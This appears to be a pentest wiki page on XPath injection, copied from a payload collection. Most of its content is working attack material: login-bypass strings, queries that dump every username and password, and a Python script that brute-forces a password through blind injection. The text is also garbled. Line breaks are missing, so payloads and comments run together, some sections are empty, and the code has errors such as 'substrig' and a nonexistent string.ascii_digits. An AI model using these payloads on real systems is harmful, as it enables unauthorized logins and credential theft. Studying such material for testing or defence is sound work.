> For the complete documentation index, see [llms.txt](https://pwc-3.gitbook.io/pwc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pwc-3.gitbook.io/pwc/ji-shu/webpentest2/untitled-30.md).

# XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Info about how to make queries: <https://www.w3schools.com/xml/xpath_syntax.asp>​

## **Basic Syntax** <a href="#basic-syntax" id="basic-syntax"></a>

### Nodes <a href="#nodes" id="nodes"></a>

### **Examples:** <a href="#examples" id="examples"></a>

### Predicates <a href="#predicates" id="predicates"></a>

### Unknown Nodes <a href="#unknown-nodes" id="unknown-nodes"></a>

### **Examples:** <a href="#examples-1" id="examples-1"></a>

## Example <a href="#example" id="example"></a>

```
    pepe    peponcio    admin    mark    m12345    regular    fino    fino2    regular
```

```
All names - [pepe, mark, fino]name//name//name/node()//name/child::node()user/nameuser//name/user/name//user/name​All values - [pepe, peponcio, admin, mark, ...]//user/node()//user/child::node()​​Positions//user[position()=1]/name #pepe//user[last()-1]/name #mark//user[position()=1]/child::node()[position()=2] #peponcio (password)​Functionscount(//user/node()) #3*3 = 9 (count all values)string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```

## Authentication Bypass <a href="#authentication-bypass" id="authentication-bypass"></a>

### **Example of queries:** <a href="#example-of-queries" id="example-of-queries"></a>

```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```

### **OR bypass in user and password (same value in both)** <a href="#or-bypass-in-user-and-password-same-value-in-both" id="or-bypass-in-user-and-password-same-value-in-both"></a>

```
' or '1'='1' or ''='string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())​Select accountSelect the account using the username and use one of the previous values in the password field
```

### **Abusing null injection** <a href="#abusing-null-injection" id="abusing-null-injection"></a>

### **Double OR in Username or in password** (is valid with only 1 vulnerable field) <a href="#double-or-in-username-or-in-password-is-valid-with-only-1-vulnerable-field" id="double-or-in-username-or-in-password-is-valid-with-only-1-vulnerable-field"></a>

IMPORTANT: Notice that the **"and" is the first operation made**.

```
Bypass with first match(This requests are also valid without spaces)' or /* or '' or "a" or '' or 1 or '' or true() or 'string(//user[name/text()='' or true() or '' and password/text()='']/account/text())​Select account'or string-length(name(.))<10 or' #Select account with length(name)<10'or contains(name,'adm') or' #Select first account having "adm" in the name'or contains(.,'adm') or' #Select first account having "adm" in the current value'or position()=2 or' #Select 2º accountstring(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())​Select account (name known)admin' or 'admin' or '1'='2string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```

The output contains strings and the user can manipulate the values to search:

```
/user/username[contains(., '+VALUE+')]
```

```
') or 1=1 or (' #Get all names') or 1=1] | //user/password[('')=(' #Get all names and passwords') or 2=1] | //user/node()[('')=(' #Get all values')] | //./node()[('')=(' #Get all values')] | //node()[('')=(' #Get all values') or 1=1] | //user/password[('')=(' #Get all names and passwords')] | //password%00 #All names and passwords (abusing null injection)')]/../*[3][text()!=(' #All the passwords')] | //user/*[1] | a[(' #The ID of all users')] | //user/*[2] | a[(' #The name of all users')] | //user/*[3] | a[(' #The password of all users')] | //user/*[4] | a[(' #The account of all users
```

## Blind Explotation <a href="#blind-explotation" id="blind-explotation"></a>

### **Get length of a value and extract it by comparisons:**  <a href="#get-length-of-a-value-and-extract-it-by-comparisons" id="get-length-of-a-value-and-extract-it-by-comparisons"></a>

```
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"​Other waysubstring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```

### **Example:** <a href="#example-1" id="example-1"></a>

```
import requests, string ​flag = ""l = 0alphabet = string.ascii_letters + string.ascii_digits + "{}_()"for i in range(30):     r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))     if ("TRUE_COND" in r.text):         l = i         break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))     for al in alphabet:         r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)        if ("TRUE_COND" in r.text):             flag += al            print("[+] Flag: " + flag)             break
```

## References <a href="#references" id="references"></a>

​<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection>​
